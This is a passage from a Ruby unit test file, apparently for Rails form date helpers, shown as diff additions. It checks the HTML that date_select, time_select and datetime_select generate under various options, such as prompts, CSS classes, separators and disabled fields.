+    expected << %{<option value="">Choose day</option>\n<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15" selected="selected">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n}
+
+    expected << "</select>\n"
+
+    assert_dom_equal expected, date_select("post", "written_on", prompt: { year: "Choose year", month: "Choose month", day: "Choose day" })
+  end
+
+  def test_date_select_with_generic_with_css_classes
+    @post = Post.new
+    @post.written_on = Date.new(2004, 6, 15)
+
+    expected = %{<select id="post_written_on_1i" name="post[written_on(1i)]" class="year">\n}.dup
+    expected << %{<option value="1999">1999</option>\n<option value="2000">2000</option>\n<option value="2001">2001</option>\n<option value="2002">2002</option>\n<option value="2003">2003</option>\n<option value="2004" selected="selected">2004</option>\n<option value="2005">2005</option>\n<option value="2006">2006</option>\n<option value="2007">2007</option>\n<option value="2008">2008</option>\n<option value="2009">2009</option>\n}
+    expected << "</select>\n"
+
+    expected << %{<select id="post_written_on_2i" name="post[written_on(2i)]" class="month">\n}
+    expected << %{<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6" selected="selected">June</option>\n<option value="7">July</option>\n<option value="8">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n}
+    expected << "</select>\n"
+
+    expected << %{<select id="post_written_on_3i" name="post[written_on(3i)]" class="day">\n}
+    expected << %{<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15" selected="selected">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n}
+
+    expected << "</select>\n"
+
+    assert_dom_equal expected, date_select("post", "written_on", with_css_classes: true)
+  end
+
+  def test_date_select_with_custom_with_css_classes
+    @post = Post.new
+    @post.written_on = Date.new(2004, 6, 15)
+
+    expected = %{<select id="post_written_on_1i" name="post[written_on(1i)]" class="my-year">\n}.dup
+    expected << %{<option value="1999">1999</option>\n<option value="2000">2000</option>\n<option value="2001">2001</option>\n<option value="2002">2002</option>\n<option value="2003">2003</option>\n<option value="2004" selected="selected">2004</option>\n<option value="2005">2005</option>\n<option value="2006">2006</option>\n<option value="2007">2007</option>\n<option value="2008">2008</option>\n<option value="2009">2009</option>\n}
+    expected << "</select>\n"
+
+    expected << %{<select id="post_written_on_2i" name="post[written_on(2i)]" class="my-month">\n}
+    expected << %{<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6" selected="selected">June</option>\n<option value="7">July</option>\n<option value="8">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n}
+    expected << "</select>\n"
+
+    expected << %{<select id="post_written_on_3i" name="post[written_on(3i)]" class="my-day">\n}
+    expected << %{<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15" selected="selected">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n}
+
+    expected << "</select>\n"
+
+    assert_dom_equal expected, date_select("post", "written_on", with_css_classes: { year: "my-year", month: "my-month", day: "my-day" })
+  end
+
+  def test_time_select
+    @post = Post.new
+    @post.written_on = Time.local(2004, 6, 15, 15, 16, 35)
+
+    expected = %{<input type="hidden" id="post_written_on_1i" name="post[written_on(1i)]" value="2004" />\n}.dup
+    expected << %{<input type="hidden" id="post_written_on_2i" name="post[written_on(2i)]" value="6" />\n}
+    expected << %{<input type="hidden" id="post_written_on_3i" name="post[written_on(3i)]" value="15" />\n}
+
+    expected << %(<select id="post_written_on_4i" name="post[written_on(4i)]">\n)
+    0.upto(23) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 15}>#{sprintf("%02d", i)}</option>\n) }
+    expected << "</select>\n"
+    expected << " : "
+    expected << %(<select id="post_written_on_5i" name="post[written_on(5i)]">\n)
+    0.upto(59) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 16}>#{sprintf("%02d", i)}</option>\n) }
+    expected << "</select>\n"
+
+    assert_dom_equal expected, time_select("post", "written_on")
+  end
+
+  def test_time_select_with_selected
+    @post = Post.new
+    @post.written_on = Time.local(2004, 6, 15, 15, 16, 35)
+
+    expected = %{<input type="hidden" id="post_written_on_1i" name="post[written_on(1i)]" value="2004" />\n}.dup
+    expected << %{<input type="hidden" id="post_written_on_2i" name="post[written_on(2i)]" value="6" />\n}
+    expected << %{<input type="hidden" id="post_written_on_3i" name="post[written_on(3i)]" value="15" />\n}
+
+    expected << %(<select id="post_written_on_4i" name="post[written_on(4i)]">\n)
+    0.upto(23) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 12}>#{sprintf("%02d", i)}</option>\n) }
+    expected << "</select>\n"
+    expected << " : "
+    expected << %(<select id="post_written_on_5i" name="post[written_on(5i)]">\n)
+    0.upto(59) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 20}>#{sprintf("%02d", i)}</option>\n) }
+    expected << "</select>\n"
+
+    assert_dom_equal expected, time_select("post", "written_on", selected: Time.local(2004, 6, 15, 12, 20, 30))
+  end
+
+  def test_time_select_with_selected_nil
+    @post = Post.new
+    @post.written_on = Time.local(2004, 6, 15, 15, 16, 35)
+
+    expected = %{<input type="hidden" id="post_written_on_1i" name="post[written_on(1i)]" value="1" />\n}.dup
+    expected << %{<input type="hidden" id="post_written_on_2i" name="post[written_on(2i)]" value="1" />\n}
+    expected << %{<input type="hidden" id="post_written_on_3i" name="post[written_on(3i)]" value="1" />\n}
+
+    expected << %(<select id="post_written_on_4i" name="post[written_on(4i)]">\n)
+    0.upto(23) { |i| expected << %(<option value="#{sprintf("%02d", i)}">#{sprintf("%02d", i)}</option>\n) }
+    expected << "</select>\n"
+    expected << " : "
+    expected << %(<select id="post_written_on_5i" name="post[written_on(5i)]">\n)
+    0.upto(59) { |i| expected << %(<option value="#{sprintf("%02d", i)}">#{sprintf("%02d", i)}</option>\n) }
+    expected << "</select>\n"
+
+    assert_dom_equal expected, time_select("post", "written_on", discard_year: true, discard_month: true, discard_day: true, selected: nil)
+  end
+
+  def test_time_select_without_date_hidden_fields
+    @post = Post.new
+    @post.written_on = Time.local(2004, 6, 15, 15, 16, 35)
+
+    expected = %(<select id="post_written_on_4i" name="post[written_on(4i)]">\n).dup
+    0.upto(23) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 15}>#{sprintf("%02d", i)}</option>\n) }
+    expected << "</select>\n"
+    expected << " : "
+    expected << %(<select id="post_written_on_5i" name="post[written_on(5i)]">\n)
+    0.upto(59) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 16}>#{sprintf("%02d", i)}</option>\n) }
+    expected << "</select>\n"
+
+    assert_dom_equal expected, time_select("post", "written_on", ignore_date: true)
+  end
+
+  def test_time_select_with_seconds
+    @post = Post.new
+    @post.written_on = Time.local(2004, 6, 15, 15, 16, 35)
+
+    expected = %{<input type="hidden" id="post_written_on_1i" name="post[written_on(1i)]" value="2004" />\n}.dup
+    expected << %{<input type="hidden" id="post_written_on_2i" name="post[written_on(2i)]" value="6" />\n}
+    expected << %{<input type="hidden" id="post_written_on_3i" name="post[written_on(3i)]" value="15" />\n}
+
+    expected << %(<select id="post_written_on_4i" name="post[written_on(4i)]">\n)
+    0.upto(23) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 15}>#{sprintf("%02d", i)}</option>\n) }
+    expected << "</select>\n"
+    expected << " : "
+    expected << %(<select id="post_written_on_5i" name="post[written_on(5i)]">\n)
+    0.upto(59) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 16}>#{sprintf("%02d", i)}</option>\n) }
+    expected << "</select>\n"
+    expected << " : "
+    expected << %(<select id="post_written_on_6i" name="post[written_on(6i)]">\n)
+    0.upto(59) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 35}>#{sprintf("%02d", i)}</option>\n) }
+    expected << "</select>\n"
+
+    assert_dom_equal expected, time_select("post", "written_on", include_seconds: true)
+  end
+
+  def test_time_select_with_html_options
+    @post = Post.new
+    @post.written_on = Time.local(2004, 6, 15, 15, 16, 35)
+
+    expected = %{<input type="hidden" id="post_written_on_1i" name="post[written_on(1i)]" value="2004" />\n}.dup
+    expected << %{<input type="hidden" id="post_written_on_2i" name="post[written_on(2i)]" value="6" />\n}
+    expected << %{<input type="hidden" id="post_written_on_3i" name="post[written_on(3i)]" value="15" />\n}
+
+    expected << %(<select id="post_written_on_4i" name="post[written_on(4i)]" class="selector">\n)
+    0.upto(23) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 15}>#{sprintf("%02d", i)}</option>\n) }
+    expected << "</select>\n"
+    expected << " : "
+    expected << %(<select id="post_written_on_5i" name="post[written_on(5i)]" class="selector">\n)
+    0.upto(59) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 16}>#{sprintf("%02d", i)}</option>\n) }
+    expected << "</select>\n"
+
+    assert_dom_equal expected, time_select("post", "written_on", {}, class: "selector")
+  end
+
+  def test_time_select_with_html_options_within_fields_for
+    @post = Post.new
+    @post.written_on = Time.local(2004, 6, 15, 15, 16, 35)
+
+    output_buffer = fields_for :post, @post do |f|
+      concat f.time_select(:written_on, {}, class: "selector")
+    end
+
+    expected = %{<input type="hidden" id="post_written_on_1i" name="post[written_on(1i)]" value="2004" />\n}.dup
+    expected << %{<input type="hidden" id="post_written_on_2i" name="post[written_on(2i)]" value="6" />\n}
+    expected << %{<input type="hidden" id="post_written_on_3i" name="post[written_on(3i)]" value="15" />\n}
+
+    expected << %(<select id="post_written_on_4i" name="post[written_on(4i)]" class="selector">\n)
+    0.upto(23) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 15}>#{sprintf("%02d", i)}</option>\n) }
+    expected << "</select>\n"
+    expected << " : "
+    expected << %(<select id="post_written_on_5i" name="post[written_on(5i)]" class="selector">\n)
+    0.upto(59) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 16}>#{sprintf("%02d", i)}</option>\n) }
+    expected << "</select>\n"
+
+    assert_dom_equal expected, output_buffer
+  end
+
+  def test_time_select_with_separator
+    @post = Post.new
+    @post.written_on = Time.local(2004, 6, 15, 15, 16, 35)
+
+    expected = %{<input type="hidden" id="post_written_on_1i" name="post[written_on(1i)]" value="2004" />\n}.dup
+    expected << %{<input type="hidden" id="post_written_on_2i" name="post[written_on(2i)]" value="6" />\n}
+    expected << %{<input type="hidden" id="post_written_on_3i" name="post[written_on(3i)]" value="15" />\n}
+
+    expected << %(<select id="post_written_on_4i" name="post[written_on(4i)]">\n)
+    0.upto(23) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 15}>#{sprintf("%02d", i)}</option>\n) }
+    expected << "</select>\n"
+
+    expected << " - "
+
+    expected << %(<select id="post_written_on_5i" name="post[written_on(5i)]">\n)
+    0.upto(59) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 16}>#{sprintf("%02d", i)}</option>\n) }
+    expected << "</select>\n"
+
+    expected << " - "
+
+    expected << %(<select id="post_written_on_6i" name="post[written_on(6i)]">\n)
+    0.upto(59) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 35}>#{sprintf("%02d", i)}</option>\n) }
+    expected << "</select>\n"
+
+    assert_dom_equal expected, time_select("post", "written_on", time_separator: " - ", include_seconds: true)
+  end
+
+  def test_time_select_with_default_prompt
+    @post = Post.new
+    @post.written_on = Time.local(2004, 6, 15, 15, 16, 35)
+
+    expected = %{<input type="hidden" id="post_written_on_1i" name="post[written_on(1i)]" value="2004" />\n}.dup
+    expected << %{<input type="hidden" id="post_written_on_2i" name="post[written_on(2i)]" value="6" />\n}
+    expected << %{<input type="hidden" id="post_written_on_3i" name="post[written_on(3i)]" value="15" />\n}
+
+    expected << %(<select id="post_written_on_4i" name="post[written_on(4i)]">\n)
+    expected << %(<option value="">Hour</option>\n)
+    0.upto(23) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 15}>#{sprintf("%02d", i)}</option>\n) }
+    expected << "</select>\n"
+    expected << " : "
+    expected << %(<select id="post_written_on_5i" name="post[written_on(5i)]">\n)
+    expected << %(<option value="">Minute</option>\n)
+    0.upto(59) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 16}>#{sprintf("%02d", i)}</option>\n) }
+    expected << "</select>\n"
+
+    assert_dom_equal expected, time_select("post", "written_on", prompt: true)
+  end
+
+  def test_time_select_with_custom_prompt
+    @post = Post.new
+    @post.written_on = Time.local(2004, 6, 15, 15, 16, 35)
+
+    expected = %{<input type="hidden" id="post_written_on_1i" name="post[written_on(1i)]" value="2004" />\n}.dup
+    expected << %{<input type="hidden" id="post_written_on_2i" name="post[written_on(2i)]" value="6" />\n}
+    expected << %{<input type="hidden" id="post_written_on_3i" name="post[written_on(3i)]" value="15" />\n}
+
+    expected << %(<select id="post_written_on_4i" name="post[written_on(4i)]">\n)
+    expected << %(<option value="">Choose hour</option>\n)
+    0.upto(23) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 15}>#{sprintf("%02d", i)}</option>\n) }
+    expected << "</select>\n"
+    expected << " : "
+    expected << %(<select id="post_written_on_5i" name="post[written_on(5i)]">\n)
+    expected << %(<option value="">Choose minute</option>\n)
+    0.upto(59) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 16}>#{sprintf("%02d", i)}</option>\n) }
+    expected << "</select>\n"
+
+    assert_dom_equal expected, time_select("post", "written_on", prompt: { hour: "Choose hour", minute: "Choose minute" })
+  end
+
+  def test_time_select_with_generic_with_css_classes
+    @post = Post.new
+    @post.written_on = Time.local(2004, 6, 15, 15, 16, 35)
+
+    expected = %{<input type="hidden" id="post_written_on_1i" name="post[written_on(1i)]" value="2004" />\n}.dup
+    expected << %{<input type="hidden" id="post_written_on_2i" name="post[written_on(2i)]" value="6" />\n}
+    expected << %{<input type="hidden" id="post_written_on_3i" name="post[written_on(3i)]" value="15" />\n}
+
+    expected << %(<select id="post_written_on_4i" name="post[written_on(4i)]" class="hour">\n)
+    0.upto(23) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 15}>#{sprintf("%02d", i)}</option>\n) }
+    expected << "</select>\n"
+
+    expected << " : "
+
+    expected << %(<select id="post_written_on_5i" name="post[written_on(5i)]" class="minute">\n)
+    0.upto(59) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 16}>#{sprintf("%02d", i)}</option>\n) }
+    expected << "</select>\n"
+
+    assert_dom_equal expected, time_select("post", "written_on", with_css_classes: true)
+  end
+
+  def test_time_select_with_custom_with_css_classes
+    @post = Post.new
+    @post.written_on = Time.local(2004, 6, 15, 15, 16, 35)
+
+    expected = %{<input type="hidden" id="post_written_on_1i" name="post[written_on(1i)]" value="2004" />\n}.dup
+    expected << %{<input type="hidden" id="post_written_on_2i" name="post[written_on(2i)]" value="6" />\n}
+    expected << %{<input type="hidden" id="post_written_on_3i" name="post[written_on(3i)]" value="15" />\n}
+
+    expected << %(<select id="post_written_on_4i" name="post[written_on(4i)]" class="my-hour">\n)
+    0.upto(23) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 15}>#{sprintf("%02d", i)}</option>\n) }
+    expected << "</select>\n"
+
+    expected << " : "
+
+    expected << %(<select id="post_written_on_5i" name="post[written_on(5i)]" class="my-minute">\n)
+    0.upto(59) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 16}>#{sprintf("%02d", i)}</option>\n) }
+    expected << "</select>\n"
+
+    assert_dom_equal expected, time_select("post", "written_on", with_css_classes: { hour: "my-hour", minute: "my-minute" })
+  end
+
+  def test_time_select_with_disabled_html_option
+    @post = Post.new
+    @post.written_on = Time.local(2004, 6, 15, 15, 16, 35)
+
+    expected = %{<input type="hidden" id="post_written_on_1i" disabled="disabled" name="post[written_on(1i)]" value="2004" />\n}.dup
+    expected << %{<input type="hidden" id="post_written_on_2i" disabled="disabled" name="post[written_on(2i)]" value="6" />\n}
+    expected << %{<input type="hidden" id="post_written_on_3i" disabled="disabled" name="post[written_on(3i)]" value="15" />\n}
+
+    expected << %(<select id="post_written_on_4i" disabled="disabled" name="post[written_on(4i)]">\n)
+    0.upto(23) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 15}>#{sprintf("%02d", i)}</option>\n) }
+    expected << "</select>\n"
+    expected << " : "
+    expected << %(<select id="post_written_on_5i" disabled="disabled" name="post[written_on(5i)]">\n)
+    0.upto(59) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 16}>#{sprintf("%02d", i)}</option>\n) }
+    expected << "</select>\n"
+
+    assert_dom_equal expected, time_select("post", "written_on", {}, disabled: true)
+  end
+
+  def test_datetime_select
+    @post = Post.new
+    @post.updated_at = Time.local(2004, 6, 15, 16, 35)
+
+    expected = %{<select id="post_updated_at_1i" name="post[updated_at(1i)]">\n}.dup
+    expected << %{<option value="1999">1999</option>\n<option value="2000">2000</option>\n<option value="2001">2001</option>\n<option value="2002">2002</option>\n<option value="2003">2003</option>\n<option value="2004" selected="selected">2004</option>\n<option value="2005">2005</option>\n<option value="2006">2006</option>\n<option value="2007">2007</option>\n<option value="2008">2008</option>\n<option value="2009">2009</option>\n}
+    expected << "</select>\n"
+
+    expected << %{<select id="post_updated_at_2i" name="post[updated_at(2i)]">\n}
+    expected << %{<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6" selected="selected">June</option>\n<option value="7">July</option>\n<option value="8">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n}
+    expected << "</select>\n"
+
+    expected << %{<select id="post_updated_at_3i" name="post[updated_at(3i)]">\n}
+    expected << %{<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15" selected="selected">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n}
+    expected << "</select>\n"
+
+    expected << " &mdash; "
+
+    expected << %{<select id="post_updated_at_4i" name="post[updated_at(4i)]">\n}
+    expected << %{<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16" selected="selected">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n}
+    expected << "</select>\n"
+    expected << " : "
+    expected << %{<select id="post_updated_at_5i" name="post[updated_at(5i)]">\n}
+    expected << %{<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n<option value="32">32</option>\n<option value="33">33</option>\n<option value="34">34</option>\n<option value="35" selected="selected">35</option>\n<option value="36">36</option>\n<option value="37">37</option>\n<option value="38">38</option>\n<option value="39">39</option>\n<option value="40">40</option>\n<option value="41">41</option>\n<option value="42">42</option>\n<option value="43">43</option>\n<option value="44">44</option>\n<option value="45">45</option>\n<option value="46">46</option>\n<option value="47">47</option>\n<option value="48">48</option>\n<option value="49">49</option>\n<option value="50">50</option>\n<option value="51">51</option>\n<option value="52">52</option>\n<option value="53">53</option>\n<option value="54">54</option>\n<option value="55">55</option>\n<option value="56">56</option>\n<option value="57">57</option>\n<option value="58">58</option>\n<option value="59">59</option>\n}
+    expected << "</select>\n"
+
+    assert_dom_equal expected, datetime_select("post", "updated_at")
+  end
+
+  def test_datetime_select_with_selected
+    @post = Post.new
+    @post.updated_at = Time.local(2004, 6, 15, 16, 35)
+
+    expected = %{<select id="post_updated_at_1i" name="post[updated_at(1i)]">\n}.dup
+    expected << %{<option value="1999">1999</option>\n<option value="2000">2000</option>\n<option value="2001">2001</option>\n<option value="2002">2002</option>\n<option value="2003">2003</option>\n<option value="2004" selected="selected">2004</option>\n<option value="2005">2005</option>\n<option value="2006">2006</option>\n<option value="2007">2007</option>\n<option value="2008">2008</option>\n<option value="2009">2009</option>\n}
+    expected << "</select>\n"
+
+    expected << %{<select id="post_updated_at_2i" name="post[updated_at(2i)]">\n}
+    expected << %{<option value="1">January</option>\n<option value="2">February</option>\n<option value="3" selected="selected">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6">June</option>\n<option value="7">July</option>\n<option value="8">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n}
+    expected << "</select>\n"
+
+    expected << %{<select id="post_updated_at_3i" name="post[updated_at(3i)]">\n}
+    expected << %{<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10" selected="selected">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n}
+    expected << "</select>\n"
+
+    expected << " &mdash; "
+
+    expected << %{<select id="post_updated_at_4i" name="post[updated_at(4i)]">\n}
+    expected << %{<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12" selected="selected">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n}
+    expected << "</select>\n"
+    expected << " : "
+    expected << %{<select id="post_updated_at_5i" name="post[updated_at(5i)]">\n}
+    expected << %{<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30" selected="selected">30</option>\n<option value="31">31</option>\n<option value="32">32</option>\n<option value="33">33</option>\n<option value="34">34</option>\n<option value="35">35</option>\n<option value="36">36</option>\n<option value="37">37</option>\n<option value="38">38</option>\n<option value="39">39</option>\n<option value="40">40</option>\n<option value="41">41</option>\n<option value="42">42</option>\n<option value="43">43</option>\n<option value="44">44</option>\n<option value="45">45</option>\n<option value="46">46</option>\n<option value="47">47</option>\n<option value="48">48</option>\n<option value="49">49</option>\n<option value="50">50</option>\n<option value="51">51</option>\n<option value="52">52</option>\n<option value="53">53</option>\n<option value="54">54</option>\n<option value="55">55</option>\n<option value="56">56</option>\n<option value="57">57</option>\n<option value="58">58</option>\n<option value="59">59</option>\n}
+    expected << "</select>\n"
+
+    assert_dom_equal expected, datetime_select("post", "updated_at", selected: Time.local(2004, 3, 10, 12, 30))
+  end
+
+  def test_datetime_select_with_selected_nil
+    @post = Post.new
+    @post.updated_at = Time.local(2004, 6, 15, 16, 35)
+
+    expected = '<input id="post_updated_at_1i" name="post[updated_at(1i)]" type="hidden" value="1"/>' + "\n"
+
+    expected << %{<select id="post_updated_at_2i" name="post[updated_at(2i)]">\n}
+    expected << %{<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6">June</option>\n<option value="7">July</option>\n<option value="8">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n}
+    expected << "</select>\n"
+
+    expected << %{<select id="post_updated_at_3i" name="post[updated_at(3i)]">\n}
+    expected << %{<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n}
+    expected << "</select>\n"
+
+    expected << " &mdash; "
+
+    expected << %{<select id="post_updated_at_4i" name="post[updated_at(4i)]">\n}
+    expected << %{<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n}
+    expected << "</select>\n"
+    expected << " : "
